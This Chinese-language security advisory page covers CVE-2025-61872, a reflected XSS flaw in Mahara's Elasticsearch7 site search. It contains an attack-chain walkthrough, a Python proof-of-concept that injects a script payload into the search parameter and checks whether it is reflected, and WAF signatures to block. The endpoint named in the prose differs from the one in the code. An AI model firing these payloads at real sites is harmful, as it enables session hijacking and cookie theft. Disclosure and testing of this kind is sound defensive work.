IPBUF安全漏洞报告
English
CVE-2025-61872 CVSS 6.1 中危

CVE-2025-61872 Mahara站内搜索XSS漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2025-61872
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Mahara

相关标签

XSSMaharaElasticsearchWeb安全CVE-2025-61872跨站脚本

漏洞概述

Mahara电子作品集平台在使用Elasticsearch7插件处理站内搜索功能时存在输入验证漏洞。由于未对查询参数进行严格的过滤和转义,攻击者可构造包含恶意脚本的搜索链接。当用户点击该链接或执行搜索时,恶意代码将在浏览器中执行。此漏洞影响25.04.2和24.04.11之前的版本,可能导致用户会话劫持或敏感信息泄露。

技术细节

该漏洞源于Mahara集成的Elasticsearch7搜索插件对用户输入的清理机制不完善。在“站内搜索”功能中,应用程序直接将用户提交的查询参数传递给后端的Elasticsearch引擎,并在渲染搜索结果时将原始内容回显到页面响应中,未进行HTML实体编码。

攻击者可以利用这一缺陷,精心构造带有XSS Payload的URL(例如:`/search.php?q=<script>...`)。根据CVSS向量(AV:N/AC:L/PR:N/UI:R/S:C),这是一个网络层面的攻击,无需认证,但需要用户交互(如点击链接)。由于作用域为可改变(S:C),攻击者不仅可以利用当前页面的上下文,还可能利用浏览器的同源策略访问其他页面数据,从而窃取Cookie、执行钓鱼攻击或重定向用户。这种类型的XSS通常属于反射型XSS,但在特定日志记录场景下也可能表现为存储型。建议尽快升级补丁以修复输入验证逻辑。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用受影响版本的Mahara,并启用了Elasticsearch7搜索插件。
STEP 2
制作载荷
攻击者构造一个包含恶意JavaScript代码的URL,将载荷嵌入到搜索查询参数中。
STEP 3
投递攻击
攻击者通过钓鱼邮件或社交媒体将特制的恶意链接发送给目标用户。
STEP 4
触发漏洞
受害者点击链接,向Mahara服务器发送搜索请求。服务器处理请求并返回包含未过滤恶意脚本的搜索结果页面。
STEP 5
执行利用
受害者的浏览器解析响应并执行恶意脚本,导致Cookie被盗或会话被劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2025-61872 Mahara XSS Vulnerability # This script demonstrates testing for the XSS flaw in the search query. import requests def check_xss(target_url): # The vulnerability occurs in the search site feature with Elasticsearch7 # Injecting a basic JavaScript payload into the query parameter payload = '"><script>alert(1)</script>' search_endpoint = f"{target_url}/search/index.php" params = { "query": payload # Vulnerable parameter } try: response = requests.get(search_endpoint, params=params, timeout=10) # Check if the payload is reflected unescaped in the response if payload in response.text: print(f"[+] Potential XSS found at: {response.url}") print(f"[+] Payload reflected in response.") else: print("[-] Payload not reflected or target patched.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost/mahara" # Replace with actual target check_xss(target)

影响范围

Mahara < 25.04.2
Mahara < 24.04.11

防御指南

临时缓解措施
如果无法立即升级,建议临时禁用Elasticsearch7搜索插件,切换回默认的内部搜索引擎。同时,应在Web应用防火墙(WAF)上部署规则,拦截包含常见XSS攻击特征(如<script>, javascript:, onerror=等)的搜索请求参数,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表